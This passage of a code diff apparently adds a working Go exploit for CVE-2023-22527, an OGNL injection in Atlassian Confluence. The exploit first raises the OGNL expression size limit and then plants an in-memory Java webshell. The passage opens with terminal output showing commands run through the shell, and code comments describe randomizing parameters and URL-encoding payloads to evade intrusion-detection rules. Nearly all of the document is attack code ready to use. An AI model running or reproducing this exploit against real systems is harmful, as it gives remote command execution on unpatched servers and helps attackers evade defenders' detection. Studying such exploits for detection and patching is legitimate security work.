albinolobster@mournland:~/cve-2023-22527/webshell$ curl http://10.9.49.76:8090/?VicodMajitk=whoami
nt authority\network service
```
+198
View File
@@ -0,0 +1,198 @@
package main
import (
_ "embed"
b64 "encoding/base64"
"encoding/binary"
"regexp"
"strconv"
"strings"
"github.com/vulncheck-oss/go-exploit"
"github.com/vulncheck-oss/go-exploit/c2"
"github.com/vulncheck-oss/go-exploit/config"
"github.com/vulncheck-oss/go-exploit/output"
"github.com/vulncheck-oss/go-exploit/protocol"
"github.com/vulncheck-oss/go-exploit/random"
"github.com/vulncheck-oss/go-exploit/transform"
)
//go:embed ABCDEFG.class
var webshellClass string
type ConfluenceOGNLExploit struct{}
func (sploit ConfluenceOGNLExploit) ValidateTarget(conf *config.Config) bool {
uri := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, "/")
resp, body, ok := protocol.HTTPSendAndRecv("GET", uri, "")
if !ok {
return false
}
if resp.StatusCode != 200 {
output.PrintfError("Received an unexpected HTTP status code: %d", resp.StatusCode)
return false
}
_, ok = resp.Header["X-Confluence-Request-Time"]
if !ok {
return false
}
_, ok = resp.Header["Set-Cookie"]
if !ok {
return false
}
return strings.Contains(body, "confluence-context-path")
}
func (sploit ConfluenceOGNLExploit) CheckVersion(conf *config.Config) exploit.VersionCheckType {
uri := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, "/")
resp, bodyString, ok := protocol.HTTPSendAndRecv("GET", uri, "")
if !ok {
return exploit.Unknown
}
if resp.StatusCode != 200 {
output.PrintfError("Received an unexpected HTTP status code: %d", resp.StatusCode)
return exploit.Unknown
}
if !strings.Contains(bodyString, "Atlassian Confluence") {
output.PrintError("The HTTP response did not contain the expected Atlassian branding.")
return exploit.Unknown
}
re := regexp.MustCompile("<span id='footer-build-information'>([0-9a-zA-Z.]+)</span>")
res := re.FindAllStringSubmatch(bodyString, -1)
if len(res) == 0 {
output.PrintError("Failed to extract the footer build information")
return exploit.Unknown
}
version := res[0][1]
output.PrintVersion("The self-reported version is: "+version, conf.Rhost, conf.Rport, version)
versionArray := strings.Split(version, ".")
if len(versionArray) != 3 {
output.PrintfError("Unexpected version number")
return exploit.Unknown
}
major, _ := strconv.Atoi(versionArray[0])
minor, _ := strconv.Atoi(versionArray[1])
point, _ := strconv.Atoi(versionArray[2])
if major != 8 {
return exploit.NotVulnerable
}
switch {
case minor < 5:
return exploit.Vulnerable
case minor == 5 && point <= 3:
return exploit.Vulnerable
default:
}
return exploit.NotVulnerable
}
// Send a request that encresses the max OGNL size so that we can send our payload.
func adjustExpressLength(conf *config.Config) bool {
uri := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, "/template/aui/text-inline.vm")
output.PrintfStatus("Sending OGNL expression size limit adjustment to %s", uri)
// in an attempt to be sneaky, randomize the start of label and used a randomly generated param
unused := random.RandLetters(12)
param := random.RandLetters(3)
// URL encoding everything bypasses ET rules
params := map[string]string{
"label": transform.URLEncodeString(unused) + `\u0027` +
transform.URLEncodeString("+#request.get(") + `\u0027` + transform.URLEncodeString(`.KEY_velocity.struts2.context`) + `\u0027` +
transform.URLEncodeString(`).internalGet(`) + `\u0027` +
transform.URLEncodeString(`ognl`) + `\u0027` +
transform.URLEncodeString(`).findValue(#parameters.`+param+",{})+") + `\u0027`,
param: transform.URLEncodeString(`@ognl.Ognl@applyExpressionMaxLength(100000)`),
}
resp, _, ok := protocol.HTTPSendAndRecvURLEncoded("POST", uri, params)
if !ok {
return false
}
if resp.StatusCode != 200 {
output.PrintError("Unexpected HTTP status %d", resp.StatusCode)
return false
}
return true
}
func sendWebshell(conf *config.Config) (string, bool) {
// replace the predefined Class name and command param
classSize := make([]byte, 2)
classString := transform.Title(random.RandLettersRange(8, 17))
binary.BigEndian.PutUint16(classSize, uint16(len(classString)))
uniqWebshellClass := strings.ReplaceAll(webshellClass, "\x00\x07ABCDEFG", string(classSize)+classString)
shellSize := make([]byte, 2)
shellString := transform.Title(random.RandLettersRange(8, 17))
binary.BigEndian.PutUint16(shellSize, uint16(len(shellString)))
uniqWebshellClass = strings.ReplaceAll(uniqWebshellClass, "\x00\x0cAAAAAAAAAAAA", string(shellSize)+shellString)
// base64 encode the webshell so we can send it across the wire
encodedShell := b64.StdEncoding.EncodeToString([]byte(uniqWebshellClass))
// in an attempt to be sneaky, randomize the start of label and used a randomly generated param
unused := random.RandLetters(12)
param := random.RandLetters(3)
uri := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, "/template/aui/text-inline.vm")
output.PrintfStatus("Sending class %s to %s", classString, uri)
params := map[string]string{
param: transform.URLEncodeString("(@org.springframework.cglib.core.ReflectUtils@defineClass('" + classString +
"',@org.springframework.util.Base64Utils@decodeFromString('" + encodedShell +
"'),@java.lang.Thread@currentThread().getContextClassLoader())).getDeclaredConstructors[0].newInstance(@org.apache.struts2.ServletActionContext@getRequest().getServletContext())"),
`label`: transform.URLEncodeString(unused + `\u0027+#request.get(\u0027.KEY_velocity.struts2.context\u0027).internalGet(\u0027ognl\u0027).findValue(#parameters.` +
param + `,{})+\u0027`),
}
resp, _, ok := protocol.HTTPSendAndRecvURLEncoded("POST", uri, params)
if !ok {
return "", false
}
if resp.StatusCode != 200 {
output.PrintError("Unexpected HTTP status %d", resp.StatusCode)
return "", false
}
return shellString, true
}
func (sploit ConfluenceOGNLExploit) RunExploit(conf *config.Config) bool {
if !adjustExpressLength(conf) {
return false
}
shellString, ok := sendWebshell(conf)
if !ok {
return false
}
uri := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, "/")
output.PrintfSuccess("In memory webshell available using %s param", shellString)
output.PrintfSuccess("Example usage: curl -kv %s?%s=whoami", uri, shellString)
return true
}
func main() {
conf := config.New(config.Webshell, []c2.Impl{}, "Confluence", "CVE-2023-22527", 8090)
sploit := ConfluenceOGNLExploit{}
exploit.RunProgram(sploit, conf)
}
+10
View File
@@ -0,0 +1,10 @@
module github.com/vulncheck-oss/cve-2023-22527/webshell
go 1.21.4
require github.com/vulncheck-oss/go-exploit v1.9.4
require (
golang.org/x/net v0.22.0 // indirect
golang.org/x/text v0.14.0 // indirect
)
+6
View File
@@ -0,0 +1,6 @@
github.com/vulncheck-oss/go-exploit v1.9.4 h1:7A6pjIzpcrvDxhl2GLUjvzsukh7S4Q0Nzdfgs9fa3zk=
github.com/vulncheck-oss/go-exploit v1.9.4/go.mod h1:3tBvv+z3jSbcdauhc/3EhoOmqPxwtR+E4wMkLSy4mg4=
golang.org/x/net v0.22.0 h1:9sGLhx7iRIHEiX0oAJ3MRZMUCElJgy7Br1nO+AMN3Tc=
golang.org/x/net v0.22.0/go.mod h1:JKghWKKOSdJwpW2GEx0Ja7fmaKnMsbu+MWVZTokSYmg=
golang.org/x/text v0.14.0 h1:ScX5w1eTa3QqT8oi6+ziP7dTV1S2+ALU0bI+0zXKWiQ=
golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU=
Binary file not shown.